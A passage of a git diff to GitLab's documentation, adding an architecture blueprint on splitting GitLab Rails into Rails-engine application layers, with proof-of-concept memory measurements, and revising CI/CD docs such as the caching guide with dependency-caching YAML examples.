gitlab_rails_services + gitlab_rails_api_runners --> gitlab_rails_services + gitlab_rails_graphql --> gitlab_rails_services + gitlab_rails_actioncable --> gitlab_rails_services + gitlab_rails_sidekiq --> gitlab_rails_services + + gitlab_rails_services --> gitlab_rails_models + + gitlab_rails_models --> postgresql_db + gitlab_rails_models --> redis_db +``` + +### Layer dependencies + +The differences in how GitLab is run for on-premise versus how we run GitLab.com does show a main division line in GitLab Rails: + +- Web: containing all API, all Controllers, all GraphQL and ActionCable functionality +- Sidekiq: containing all background processing jobs +- Core: containing all database, models and services that needs to be shared between Web and Sidekiq + +Each of these top-level application layers do depend only on a fraction of the codebase with all relevant dependencies: + +- In all cases we need the underlying database structure and application models +- In some cases we need dependent services +- We only need a part of the application common library +- We need gems to support the requested functionality +- Individual layers should not use another sibling layer (tight coupling), rather connect via API, Redis or DB to share data (loose coupling) + +## Proposal + +The Memory team group conducted a Proof-of-Concept phase to understand the impact of introducing **Application Layers**. +We did this to understand the complexity, impact, and needed iterations to execute this proposal. + +The proposals here should be treated as evaluation of the impact of this blueprint, +but not a final solution to be implemented. The PoC as defined is not something that should be merged, +but serves as a basis for future work. + +### PoC using Rails Engines + +We decided to use Rails Engines by modeling a Web Application Layer. The Web Engine contained Controllers, API, GraphQL. +This allowed us to run Web Nodes with all dependencies, but measure the impact on Sidekiq not having these components loaded. + +All work can be found in these merge requests: + +- [Provide mechanism to load GraphQL with all dependencies only when needed](https://gitlab.com/gitlab-org/gitlab/-/issues/288044) +- [Draft: PoC - Move GraphQL to the WebEngine](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50180) +- [Draft: PoC - Move Controllers and Grape API:API to the WebEngine](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53720) +- [Draft: PoC - Move only Grape API:API to the WebEngine](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53982) +- [Measure performance impact for proposed web_engine](https://gitlab.com/gitlab-org/gitlab/-/issues/300548) + +What was done? + +- We used [Rails Engines](https://guides.rubyonrails.org/engines.html) +- The 99% of changes as visible in the above MRs is moving files as-is +- We moved all GraphQL code and specs into `engines/web_engine/` as-is +- We moved all API and Controllers code and specs into `engines/web_engine` +- We adapted CI to test `engines/web_engine/` as a self-sufficient component of stack +- We configured GitLab to load `gem web_engine` running Web nodes (Puma web server) +- We disabled loading `web_engine` when running Background processing nodes (Sidekiq) + +#### Implementation details for proposed solution + +1. Introduce new Rails Engine for each application layer. + + We created `engines` folder, which could contain different engines for each application layer we introduce in the future. + + In the above PoCs we introduced the new Web Application Layer, located in `engines/web_engine` folder. + +1. Move all code and specs into `engines/web_engine/` + + - We moved all GraphQL code and specs into `engines/web_engine/` without changing files itself + - We moved all Grape API and Controllers code into `engines/web_engine/` without changing files itself + +1. Move gems to the `engines/web_engine/` + + - We moved all GraphQL gems to the actual web_engine Gemfile + - We moved Grape API gem to the actual web_engine Gemfile + + ```ruby + Gem::Specification.new do |spec| + spec.add_dependency 'apollo_upload_server' + spec.add_dependency 'graphql' + spec.add_dependency 'graphiql-rails' + + spec.add_dependency 'graphql-docs' + spec.add_dependency 'grape' + end + ``` + +1. Move routes to the `engines/web_engine/config/routes.rb` file + + - We moved GraphQL routes to the web_engine routes. + - We moved API routes to the web_engine routes. + - We moved most of the controller routes to the web_engine routes. + + ```ruby + Rails.application.routes.draw do + post '/api/graphql', to: 'graphql#execute' + mount GraphiQL::Rails::Engine, at: '/-/graphql-explorer', graphql_path: + Gitlab::Utils.append_path(Gitlab.config.gitlab.relative_url_root, '/api/graphql') + + draw :api + + #... + end + ``` + +1. Move initializers to the `engines/web_engine/config/initializers` folder + + - We moved `graphql.rb` initializer to the `web_engine` initializers folder + - We moved `grape_patch.rb` and `graphe_validators` to the `web_engine` initializers folder + +1. Connect GitLab application with the WebEngine + + In GitLab Gemfile.rb, add web_engine to the engines group + + ```ruby + # Gemfile + group :engines, :test do + gem 'web_engine', path: 'engines/web_engine' + end + ``` + + Since the gem is inside :engines group, it will not be automatically required by default. + +1. Configure GitLab when to load the engine. + + In GitLab `config/engines.rb`, we can configure when do we want to load our engines by relying on our `Gitlab::Runtime` + + ```ruby + # config/engines.rb + # Load only in case we are running web_server or rails console + if Gitlab::Runtime.web_server? || Gitlab::Runtime.console? + require 'web_engine' + end + ``` + +1. Configure Engine + + Our Engine inherits from the `Rails::Engine` class. This way this gem notifies Rails that + there's an engine at the specified path so it will correctly mount the engine inside + the application, performing tasks such as adding the app directory of the engine to + the load path for models, mailers, controllers, and views. + A file at `lib/web_engine/engine.rb`, is identical in function to a standard Rails + application's `config/application.rb` file. This way engines can access a configuration + object which contains configuration shared by all railties and the application. + Additionally, each engine can access `autoload_paths`, `eager_load_paths`, and `autoload_once_paths` + settings which are scoped to that engine. + + ```ruby + module WebEngine + class Engine < ::Rails::Engine + config.eager_load_paths.push(*%W[#{config.root}/lib + #{config.root}/app/graphql/resolvers/concerns + #{config.root}/app/graphql/mutations/concerns + #{config.root}/app/graphql/types/concerns]) + + if Gitlab.ee? + ee_paths = config.eager_load_paths.each_with_object([]) do |path, memo| + ee_path = config.root + .join('ee', Pathname.new(path).relative_path_from(config.root)) + memo << ee_path.to_s + end + # Eager load should load CE first + config.eager_load_paths.push(*ee_paths) + end + end + end + ``` + +1. Testing + + We adapted CI to test `engines/web_engine/` as a self-sufficient component of stack. + + - We moved `spec` as-is files to the `engines/web_engine/spec` folder + - We moved `ee/spec` as-is files to the `engines/web_engine/ee/spec` folder + - We control specs from main application using environment variable `TEST_WEB_ENGINE` + - We added new CI job that will run `engines/web_engine/spec` tests separately using `TEST_WEB_ENGINE` environment variable. + - We added new CI job that will run `engines/web_engine/ee/spec` tests separately using `TEST_WEB_ENGINE` environment variable. + - We are running all whitebox frontend tests with `TEST_WEB_ENGINE=true` + +#### Results + +The effect on introducing these changes: + +- Savings for RSS +- 61.06 MB (7.76%) - Sidekiq without GraphQL +- 100.11 MB (12.73%) - Sidekiq without GraphQL and API +- 208.83 MB (26.56%) - Sidekiq without GraphQL, API, Controllers +- The size of Web nodes (running Puma) stayed the same as before + +Savings on Sidekiq `start-up` event, for a single Sidekiq cluster without GraphQL, API, Controllers + +- We saved 264.13 MB RSS (28.69%) +- We saved 264.09 MB USS (29.36%) +- Boot-up time was reduced from 45.31 to 21.80 seconds. It was 23.51 seconds faster (51.89%) +- We have 805,772 less live objects, 4,587,535 less allocated objects, 2,866 less allocated pages and 3.65 MB less allocated space for objects outside of the heap +- We loaded 2,326 less code files (15.64%) +- We reduced the duration of a single full GC cycle from 0.80s to 0.70 (12.64%) + +Puma single, showed very little difference as expected. + +More details can be found in the [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/300548#note_516323444). + +#### Impact on GitLab.com + +Estimating the results for the scale of running GitLab.com, today we use: + +- Currently individual GC cycle takes around [130ms for Web](https://thanos-query.ops.gitlab.net/graph?g0.range_input=1h&g0.max_source_resolution=0s&g0.expr=avg(rate(ruby_gc_duration_seconds_sum%7Bstage%3D%22main%22%2Ctype%3D%22web%22%7D%5B5m%5D)%2Frate(ruby_gc_duration_seconds_count%5B5m%5D))&g0.tab=0) + and [200ms for Sidekiq](https://thanos-query.ops.gitlab.net/graph?g0.range_input=1h&g0.max_source_resolution=0s&g0.expr=avg(rate(ruby_gc_duration_seconds_sum%7Bstage%3D%22main%22%2Ctype%3D%22sidekiq%22%7D%5B5m%5D)%2Frate(ruby_gc_duration_seconds_count%5B5m%5D))&g0.tab=0) on GitLab.com +- On average we do around [2 GC cycles per-second](https://thanos-query.ops.gitlab.net/graph?g0.range_input=1h&g0.end_input=2021-02-17%2017%3A56&g0.max_source_resolution=0s&g0.expr=avg(rate(ruby_gc_duration_seconds_count%7Bstage%3D%22main%22%2Ctype%3D%22web%22%7D%5B5m%5D))&g0.tab=0) + or [0.12 cycles per second for Sidekiq](https://thanos-query.ops.gitlab.net/graph?g0.range_input=1h&g0.end_input=2021-02-17%2017%3A56&g0.max_source_resolution=0s&g0.expr=avg(rate(ruby_gc_duration_seconds_count%7Bstage%3D%22main%22%2Ctype%3D%22sidekiq%22%7D%5B5m%5D))&g0.tab=0) +- This translates to using [around 9.5 vCPUs per-second for Web](https://thanos-query.ops.gitlab.net/graph?g0.range_input=1h&g0.max_source_resolution=0s&g0.expr=sum(rate(ruby_gc_duration_seconds_sum%7Bstage%3D%22main%22%2Ctype%3D%22web%22%7D%5B5m%5D))&g0.tab=0) + and [around 8 vCPUs per-second for Sidekiq](https://thanos-query.ops.gitlab.net/graph?g0.range_input=1h&g0.max_source_resolution=0s&g0.expr=sum(rate(ruby_gc_duration_seconds_sum%7Bstage%3D%22main%22%2Ctype%3D%22sidekiq%22%7D%5B5m%5D))&g0.tab=0) of spend on GC alone +- Sidekiq [uses 2.1GB on average](https://thanos-query.ops.gitlab.net/graph?g0.range_input=1h&g0.max_source_resolution=0s&g0.expr=max(ruby_process_unique_memory_bytes%7Btype%3D%22sidekiq%22%7D)%2F1024%2F1024%2F1024&g0.tab=1) + or [550GB in total](https://thanos-query.ops.gitlab.net/graph?g0.range_input=1h&g0.max_source_resolution=0s&g0.expr=sum(ruby_process_unique_memory_bytes%7Btype%3D%22sidekiq%22%7D)%2F1024%2F1024%2F1024&g0.tab=0) of memory on GitLab.com + +We estimate the possible maximum savings for introducing `web_engine`: + +- Reduce a GC cycle time by 20%, from to 200ms to 160ms +- The amount of GC cycles per-second would stay the same, but due to GC cycle time reduction we would use around 6 vCPUs instead of 8 vCPUs +- In the best case we would be looking at Sidekiq alone we would be estimating to save up-to 137GB of memory on GitLab.com + +This model could be extended to introduce `sidekiq_engine` giving a similar benefits +(even more important due to visible impact on users) for Web nodes. + +#### Outcome + +We achieved a number of benefits introducing these changes. + +Pros: + +- Significantly lower memory usage +- Significantly shorter application load time for Sidekiq +- Significantly improved responsiveness of Sidekiq service due to much shorter GC cycles +- Significantly easier testing of a portion of application, ex. changing `web_engines/` does require + re-running test only for this application layer +- We retained a monolithic architecture of the codebase, but sharing database and application models +- A significant saving from the infrastructure side +- Ability to comfortably run on constrained environments by reducing application footprint + +Cons: + +- It is harder to implement GraphQL subscriptions as in case of Sidekiq as we need another way to pass subscriptions +- `api_v4` paths can be used in some services that are used by Sidekiq (e.g. `api_v4_projects_path`) +- url_helpers paths are used in models and services, that could be used by Sidekiq (e.g. `Gitlab::Routing.url_helpers.project_pipelines_path` is used by [ExpirePipelineCacheService](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/ci/expire_pipeline_cache_service.rb#L20) in [ExpirePipelineCacheWorker](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/workers/expire_pipeline_cache_worker.rb#L18)) + +#### Example: GraphQL + +[Draft: PoC - Move GraphQL to the WebEngine](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50180) + +- The [99% of changes](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50180/diffs?commit_id=49c9881c6696eb620dccac71532a3173f5702ea8) as visible in the above MRs is moving files as-is. +- The [actual work](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50180/diffs?commit_id=1d9a9edfa29ea6638e7d8a6712ddf09f5be77a44) on fixing cross-dependencies, specs, and configuring web_engine +- We [adapted](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50180/diffs?commit_id=d7f862cc209ce242000b2aec88ff7f4485acdd92) CI to test `engines/web_engine/` as a self-sufficient component of stack + +Today, loading GraphQL requires a bunch of [dependencies](https://gitlab.com/gitlab-org/gitlab/-/issues/288044): + +> We also discovered that we load/require 14480 files, [memory-team-2gb-week#9](https://gitlab.com/gitlab-org/memory-team/memory-team-2gb-week/-/issues/9#note_452530513) +> when we start GitLab. 1274 files belong to GraphQL. This means that if we don't load 1274 application files +> and all related GraphQL gems when we don't need them (Sidekiq), we could save a lot of memory. + +GraphQL only needs to run in a specific context. If we could limit when it is being loaded we could effectively improve application efficiency, by reducing application load time and required memory. This, for example, is applicable for every size installation. + +A potential challenge with GraphQL and Websockets is that at some point we might want to use Action Cable subscriptions and push GraphQL/API payload from Sidekiq to clients. This would likely utilize Redis to pass data through. Where Sidekiq would publish information on Redis and ActionCable Node would pass through that information to connected clients. This way of working is possible in the above model, but we would have to use GraphQL or API (over HTTP endpoint) to calculate what should be sent. + +An alternative way is to use a notification system that would always make an `ActionCable` node (the one handling WebSockets) generate a payload based on a send query instead of performing passthrough. This could be applicable since `ActionCable` is the one handling a given connection for a client. This could have a downside of having to recalculate the same payload if many clients would be watching the same resource. However, this behavior of system might still be desired for security purposes, as generated payload might be dependent on permission of watching client (we would show different for anonymous, and different for the member of the project). + +#### Example: API + +[Draft: PoC - Move only Grape API:API to the WebEngine](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53982) + +- [99% of the changes](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53982/diffs?commit_id=c8b72249b6e8f875ed4c713f0668207377604043), as visible in the above MRs, are moving the files as-is. +- The [actual work](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53982/diffs?commit_id=00d9b54ba952c85ff4d158a18205c2fac13eaf8d) on fixing cross-dependencies, specs, configuring initializers, gems and routes. + +Grape::API is another example that only needs to run only in a web server context. + +Potential challenges with Grape API: + +- Currently there are some API::API dependencies in the models (e.g. `API::Helpers::Version` dependency in [project model](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/project.rb#L2019) or API::API dependency in GeoNode model for [`geo_retrieve_url`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/geo_node.rb#L183)) +- `api_v4` paths are used in helpers, presenters, and views (e.g. `api_v4_projects_path` in [PackagesHelper](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/helpers/packages_helper.rb#L17)) + +#### Example: Controllers + +[Draft: PoC - Move Controllers and Grape API:API to the WebEngine](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53720) + +- [99% of the changes](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53720/diffs?commit_id=17174495cf3263c8e69a0420092d9fa759170aa6), as visible in the above MRs, are moving files as-is. +- The [actual work](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53720/diffs?commit_id=39cc4bb1e0ce47f66605d06eb1b0d6b89ba174e6) on fixing cross-dependencies, specs, configuring initializers, gems and routes. + +Controllers, Serializers, some presenters and some of the Grape:Entities are also good examples that only need to be run in web server context. + +Potential challenges with moving Controllers: + +- We needed to extend `Gitlab::Patch::DrawRoute` in order to support `engines/web_engine/config/routes` and `engines/web_engine/ee/config/routes` in case when `web_engine` is loaded. Here is potential [solution](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53720#note_506957398). +- `Gitlab::Routing.url_helpers` paths are used in models and services, that could be used by Sidekiq (e.g. `Gitlab::Routing.url_helpers.project_pipelines_path` is used by [ExpirePipelineCacheService](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/ci/expire_pipeline_cache_service.rb#L20) in [ExpirePipelineCacheWorker](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/workers/expire_pipeline_cache_worker.rb#L18))) + +### Packwerk + +NOTE: +Packwerk is currently accepting bug fixes only, and it is not being actively developed. Check for [more details](https://github.com/Shopify/packwerk#note-packwerk-is-considered-to-be-feature-complete-for-shopifys-uses-we-are-currently-accepting-bug-fixes-only-and-it-is-not-being-actively-developed-please-fork-this-project-if-you-are-interested-in-adding-new-features) + +## Future impact + +**Application Layers** and this proposal currently defines only `web_engine`. Following the same pattern we could easily introduce +additional engines dedicated for supporting that would allow us to maintain much better separation, lower memory usage +and much better maintainability of GitLab Rails into the future. + +This would be a framework for introducing all new interfaces for features that do not need to be part of the core codebase, +like support for additional Package services. Allowing us to better scale application in the future, but retaining a single codebase +and monolithic architecture of GitLab. + +As of today, it seems reasonable to define three **application layers**: + +- `gitlab-core`: a core functionality: DB structure, models, services, common library. It models a data access layer, and initially all services needed to run GitLab. This might be potentially be split in the future into smaller aspects +- `gitlab-web`: a Controllers/API/GraphQL/ActionCable functionality needed to run in a web server context (depends on `gitlab-core`) +- `gitlab-sidekiq`: a background jobs functionality needed to run Sidekiq Workers (depends on `gitlab-core`) + +This model is best described today as a shared core with satellite. The shared core defines data access layer, where as satellites define a way to present and process this data. Satellites can only talk with Core. They cannot directly load or talk to another satellite unless they use a well defined interface in form of API, GraphQL or Redis (as for scheduling Sidekiq jobs). + +It is reasonable to assume that we limit how many `engines` we allow. Initial proposal is to allow up to 5 engines +to be created to ensure that we do not have explosion of engines. + +## Issues and Merge Requests + +- [Split application into functional parts to ensure that only needed code is loaded with all dependencies](https://gitlab.com/gitlab-org/gitlab/-/issues/290935) +- [Provide mechanism to load GraphQL with all dependencies only when needed](https://gitlab.com/gitlab-org/gitlab/-/issues/288044) +- [Draft: PoC - Move GraphQL to the WebEngine](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50180) +- [Draft: PoC - Move Controllers and Grape API:API to the WebEngine](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53720) +- [Draft: PoC - Move only Grape API:API to the WebEngine](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53982) +- [Measure performance impact for proposed web_engine](https://gitlab.com/gitlab-org/gitlab/-/issues/300548) +- [Create new models / classes within a module / namespace](https://gitlab.com/gitlab-org/gitlab/-/issues/212156) +- [Make teams to be maintainers of their code](https://gitlab.com/gitlab-org/gitlab/-/issues/25872) +- [Use nested structure to organize CI classes](https://gitlab.com/gitlab-org/gitlab/-/issues/209745) +- [WIP: Make it simple to build and use "Decoupled Services"](https://gitlab.com/gitlab-org/gitlab/-/issues/31121) +- [Rails takes awhile to boot, let's see if we can improve this](https://gitlab.com/gitlab-org/gitlab/-/issues/213992) + +## Who + +Proposal: + +<!-- vale gitlab.Spelling = NO --> + +| Role | Who +|------------------------------|-------------------------| +| Author | Kamil Trzciński | +| Architecture Evolution Coach | ? | +| Engineering Leader | ? | + +DRIs: + +| Role | Who +|------------------------------|------------------------| +| Product | ? | +| Leadership | Craig Gomes | +| Engineering | ? | + +Domain Experts: + +| Role | Who +|------------------------------|------------------------| +| Domain Expert | Nikola Milojevic | +| Domain Expert | ? | +| Domain Expert | ? | + +<!-- vale gitlab.Spelling = YES --> diff --git a/doc/architecture/blueprints/container_registry_metadata_database/index.md b/doc/architecture/blueprints/container_registry_metadata_database/index.md index 86628b31536..403a1a1130a 100644 --- a/doc/architecture/blueprints/container_registry_metadata_database/index.md +++ b/doc/architecture/blueprints/container_registry_metadata_database/index.md @@ -1,6 +1,6 @@ --- -stage: package -group: package +stage: Package +group: Package info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers comments: false description: 'Container Registry metadata database' @@ -122,7 +122,7 @@ For similar reasons as highlighted above, currently, it's not feasible to extrac #### Additional Features -Due to the metadata limitations, it's currently not feasible to implement valuable features such as [pagination](https://gitlab.com/gitlab-org/container-registry/-/issues/13#note_271769891), filtering and sorting for HTTP API, and more advanced features such as the ability to [distinguish between Docker and Helm charts images](https://gitlab.com/gitlab-org/gitlab/issues/38047). +Due to the metadata limitations, it's currently not feasible to implement valuable features such as [pagination](https://gitlab.com/gitlab-org/container-registry/-/issues/13#note_271769891), filtering and sorting for HTTP API, and more advanced features such as the ability to [distinguish between Docker and Helm charts images](https://gitlab.com/gitlab-org/gitlab/-/issues/38047). Because of all these constraints, we decided to [freeze the development of new features](https://gitlab.com/gitlab-org/container-registry/-/issues/44) until we have a solution in place to overcome all these foundational limitations. diff --git a/doc/ci/README.md b/doc/ci/README.md index 30a6668dbfd..dc4312250ca 100644 --- a/doc/ci/README.md +++ b/doc/ci/README.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false description: "Learn how to use GitLab CI/CD, the GitLab built-in Continuous Integration, Continuous Deployment, and Continuous Delivery toolset to build, test, and deploy your application." @@ -70,7 +70,7 @@ GitLab CI/CD supports numerous configuration options: | Configuration | Description | |:----------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------| | [Schedule pipelines](pipelines/schedules.md) | Schedule pipelines to run as often as you need. | -| [Custom path for `.gitlab-ci.yml`](pipelines/settings.md#custom-cicd-configuration-path) | Define a custom path for the CI/CD configuration file. | +| [Custom path for `.gitlab-ci.yml`](pipelines/settings.md#custom-cicd-configuration-file) | Define a custom path for the CI/CD configuration file. | | [Git submodules for CI/CD](git_submodules.md) | Configure jobs for using Git submodules. | | [SSH keys for CI/CD](ssh_keys/index.md) | Using SSH keys in your CI pipelines. | | [Pipeline triggers](triggers/README.md) | Trigger pipelines through the API. | diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md index f2cb9500b2c..0778d598d32 100644 --- a/doc/ci/caching/index.md +++ b/doc/ci/caching/index.md @@ -1,77 +1,39 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, concepts, howto --- -# Cache dependencies in GitLab CI/CD +# Caching in GitLab CI/CD -GitLab CI/CD provides a caching mechanism that can be used to save time -when your jobs are running. +A cache is one or more files that a job downloads and saves. Subsequent jobs that use +the same cache don't have to download the files again, so they execute more quickly. -Caching is about speeding the time a job is executed by reusing the same -content of a previous job. Use caching when you are -developing software that depends on other libraries which are fetched via the -internet during build time. +To learn how to define the cache in your `.gitlab-ci.yml` file, +see the [`cache` reference](../yaml/README.md#cache). -If caching is enabled, it's shared between pipelines and jobs at the project -level by default. Caches are not shared across projects. +## How cache is different from artifacts -Make sure you read the [`cache` reference](../yaml/README.md#cache) to learn -how it is defined in `.gitlab-ci.yml`. +Use cache for dependencies, like packages you download from the internet. +Cache is stored where GitLab Runner is installed and uploaded to S3 if +[distributed cache is enabled](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching). -## Cache vs artifacts +- You can define it per job by using the `cache:` keyword. Otherwise it is disabled. +- You can define it per job so that: + - Subsequent pipelines can use it. + - Subsequent jobs in the same pipeline can use it, if the dependencies are identical. +- You cannot share it between projects. -If you use cache and artifacts to store the same path in your jobs, the cache might -be overwritten because caches are restored before artifacts. - -Don't use caching for passing artifacts between stages, as it is designed to store -runtime dependencies needed to compile the project: - -- `cache`: **For storing project dependencies** - - Caches can increase the speed of a given job in subsequent pipelines. You can - store downloaded dependencies so that they don't have to be fetched from the - internet again. Dependencies include things like npm packages, Go vendor packages, and so on. - You can configure a cache to pass intermediate build results between stages, - but you should use artifacts instead. - -- `artifacts`: **Use for stage results that are passed between stages.** - - Artifacts are files that are generated by a job so they can be stored and uploaded. You can - fetch and use artifacts in jobs in later stages of the same pipeline. You can't - create an artifact in a job in one stage, and use this artifact in a different job in - the same stage. This data is not available in different pipelines, but can be downloaded - from the UI. - - If you download modules while building your application, you can declare them as - artifacts and subsequent stage jobs can use them. +Use artifacts to pass intermediate build results between stages. +Artifacts are generated by a job, stored in GitLab, and can be downloaded. - You can define an [expiry time](../yaml/README.md#artifactsexpire_in) so artifacts - are deleted after a defined time. Use [dependencies](../yaml/README.md#dependencies) - to control which jobs fetch the artifacts. +- You can define artifacts per job. Subsequent jobs in later stages of the same + pipeline can use them. +- You can't use the artifacts in a different pipeline. - Artifacts can also be used to make files available for download after a pipeline - completes, like a build image. - -Caches: - -- Are disabled if not defined globally or per job (using `cache:`). -- Are available for all jobs in your `.gitlab-ci.yml` if enabled globally. -- Can be used in subsequent pipelines by the same job in which the cache was created (if not defined globally). -- Are stored where GitLab Runner is installed **and** uploaded to S3 if [distributed cache is enabled](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching). -- If defined per job, are used: - - By the same job in a subsequent pipeline. - - By subsequent jobs in the same pipeline, if they have identical dependencies. - -Artifacts: - -- Are disabled if not defined per job (using `artifacts:`). -- Can only be enabled per job, not globally. -- Are created during a pipeline and can be used by subsequent jobs in the same pipeline. -- Are always uploaded to GitLab (known as coordinator). -- Can have an expiration value for controlling disk usage (30 days by default). +Artifacts expire after 30 days unless you define an [expiration time](../yaml/README.md#artifactsexpire_in). +Use [dependencies](../yaml/README.md#dependencies) to control which jobs fetch the artifacts. Both artifacts and caches define their paths relative to the project directory, and can't link to files outside it. @@ -81,10 +43,9 @@ can't link to files outside it. To ensure maximum availability of the cache, when you declare `cache` in your jobs, use one or more of the following: -- [Tag your runners](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs +- [Tag your runners](../runners/configure_runners.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs that share their cache. -- [Use sticky runners](../runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects) - that are only available to a particular project. +- [Use runners that are only available to a particular project](../runners/runners_scope.md#prevent-a-specific-runner-from-being-enabled-for-other-projects). - [Use a `key`](../yaml/README.md#cachekey) that fits your workflow (for example, different caches on each branch). For that, you can take advantage of the [predefined CI/CD variables](../variables/README.md#predefined-cicd-variables). @@ -102,7 +63,7 @@ For runners to work with caches efficiently, you must do one of the following: Read about the [availability of the cache](#availability-of-the-cache) to learn more about the internals and get a better idea how cache works. -### Share caches across the same branch +### Share caches between jobs in the same branch Define a cache with the `key: ${CI_COMMIT_REF_SLUG}` so that jobs of each branch always use the same cache: @@ -130,7 +91,7 @@ cache: key: "$CI_JOB_STAGE-$CI_COMMIT_REF_SLUG" ``` -### Share caches across different branches +### Share caches across jobs in different branches To share a cache across all branches and all jobs, use the same key for everything: @@ -146,7 +107,7 @@ cache: key: ${CI_JOB_NAME} ``` -### Disable cache on specific jobs +### Disable cache for specific jobs If you have defined the cache globally, it means that each job uses the same definition. You can override this behavior per-job, and if you want to @@ -189,7 +150,7 @@ The most common use case of caching is to avoid downloading content like depende or libraries repeatedly between subsequent runs of jobs. Node.js packages, PHP packages, Ruby gems, Python libraries, and others can all be cached. -For more examples, check out our [GitLab CI/CD templates](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates). +For more examples, check out our [GitLab CI/CD templates](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). ### Cache Node.js dependencies @@ -201,7 +162,7 @@ Instead, we tell npm to use `./.npm`, and cache it per-branch: ```yaml # -# https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml +# https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml # image: node:latest @@ -219,7 +180,7 @@ test_async: - node ./specs/start.js ./specs/async.spec.js ``` -### Caching PHP dependencies +### Cache PHP dependencies Assuming your project is using [Composer](https://getcomposer.org/) to install the PHP dependencies, the following example defines `cache` globally so that @@ -228,7 +189,7 @@ are cached per-branch: ```yaml # -# https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates/PHP.gitlab-ci.yml +# https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/PHP.gitlab-ci.yml # image: php:7.2 @@ -248,7 +209,7 @@ test: - vendor/bin/phpunit --configuration phpunit.xml --coverage-text --colors=never ``` -### Caching Python dependencies +### Cache Python dependencies Assuming your project is using [pip](https://pip.pypa.io/en/stable/) to install the Python dependencies, the following example defines `cache` globally so that @@ -257,7 +218,7 @@ pip's cache is defined under `.cache/pip/` and both are cached per-branch: ```yaml # -# https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates/Python.gitlab-ci.yml +# https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Python.gitlab-ci.yml # image: python:latest @@ -289,7 +250,7 @@ test: - flake8 . ``` -### Caching Ruby dependencies +### Cache Ruby dependencies Assuming your project is using [Bundler](https://bundler.io) to install the gem dependencies, the following example defines `cache` globally so that all @@ -297,7 +258,7 @@ jobs inherit it. Gems are installed in `vendor/ruby/` and are cached per-branch: ```yaml # -# https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml +# https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml # image: ruby:2.6 @@ -347,7 +308,7 @@ deploy_job: - bundle exec deploy ``` -### Caching Go dependencies +### Cache Go dependencies Assuming your project is using [Go Modules](https://github.com/golang/go/wiki/Modules) to install Go dependencies, the following example defines `cache` in a `go-cache` template, that @@ -396,6 +357,9 @@ machine where the runner is installed and depends on the type of the executor. | [Docker](https://docs.gitlab.com/runner/executors/docker.html) | Locally, stored under [Docker volumes](https://docs.gitlab.com/runner/executors/docker.html#the-builds-and-cache-storage): `/var/lib/docker/volumes/<volume-id>/_data/<user>/<project>/<cache-key>/cache.zip`. | | [Docker machine](https://docs.gitlab.com/runner/executors/docker_machine.html) (autoscale runners) | Behaves the same as the Docker executor. | +If you use cache and artifacts to store the same path in your jobs, the cache might +be overwritten because caches are restored before artifacts. + ### How archiving and extracting works This example has two jobs that belong to two consecutive stages: diff --git a/doc/ci/chatops/README.md b/doc/ci/chatops/README.md index c94d6e3ea80..577a80407d7 100644 --- a/doc/ci/chatops/README.md +++ b/doc/ci/chatops/README.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-05-01' --- This document was moved to [another location](index.md). diff --git a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md index 38930eb60ad..4d3f12dff05 100644 --- a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md +++ b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md @@ -1,6 +1,6 @@ --- stage: 